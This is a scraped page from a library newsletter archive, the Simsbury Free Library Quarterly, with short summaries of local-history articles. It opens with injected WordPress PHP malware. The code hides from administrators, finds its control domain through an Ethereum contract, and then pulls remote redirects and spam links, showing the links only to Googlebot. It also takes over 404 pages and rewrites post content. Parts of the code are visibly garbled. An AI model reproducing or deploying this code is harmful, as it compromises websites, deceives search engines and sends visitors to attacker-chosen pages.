if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
  • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ SFL Quarterly | Simsbury Free Library - Part 7
    Simsbury Free Library Quarterly

    Your Simsbury Ancestors in Town Reports

    Volume 16 Issue 3   Fall 2009

    Supplementing Vital Records and Census Information

    If you’re looking for information about an ancestor to add to the sketchy facts that vital records provide, you might be successful in town reports. During the late 19th and early 20th centuries, town reports published by the Town of Simsbury listed the name of every resident the town paid for goods or services, except teachers.

    Download the Quarterly to read the full article.


    Lettie Dodge Montgomery

    Volume 16 Issue 2     Summer 2009

    Witness to the Civil War and the Transcontinental Railroad

    One day in 1928 Lettie Dodge Montgomery welcomed to her grand summer home in Simsbury a writer and his wife.  The man, Jacob R. Perkins, was close to publishing a biography of Mrs. Montgomery’s father, Major General Grenville M. Dodge, the Civil War soldier and Abraham Lincoln’s choice to build the eastern portion of the first transcontinental railroad 1.

    Download the Quarterly to read full article

     

     


    Melvin H. Hapgood and the Eno Family

    Volume 16 Issue 1, Spring 2009

    Intersections of Common Interests and Collaboration

    The last issue of this newsletter featured a brief biography of Melvin Hathaway Hapgood, the architect who designed the 1890 Simsbury Free Library building.  The connections between Architect Hapgood and members of the Eno family are worthy of mention. Library donor Amos Richards Eno’s  fourth son and youngest child, was only a few months older that the architect and over the years they developed a truly friendly working relationship.

    Download Quarterly to read the full article.


    Melvin Hathaway Hapgood (1859-1899)

    Volume 15  Issue 4,   Winter 2008-2009

    The Architect Who Designed the Simsbury Free Library

    A seventh generation descendant of Shadrach Hapgood who arrived in Massachusetts from England in 1656 at the age of fourteen, Melvin Hathaway Hapgood and his architectural firm designed several significant Simsbury buildings. Hapgood was born February 11, 1859, in a log cabin in the pioneer settlement of Minneapolis, Minnesota, where his parents had bought a forty-acre claim shortly after their marriage.

    Download the Quarterly to read full article


    Simsbury Free Library • 749 Hopmeadow Street, P.O. Box 484 • Simsbury, CT 06070 • 860-408-1336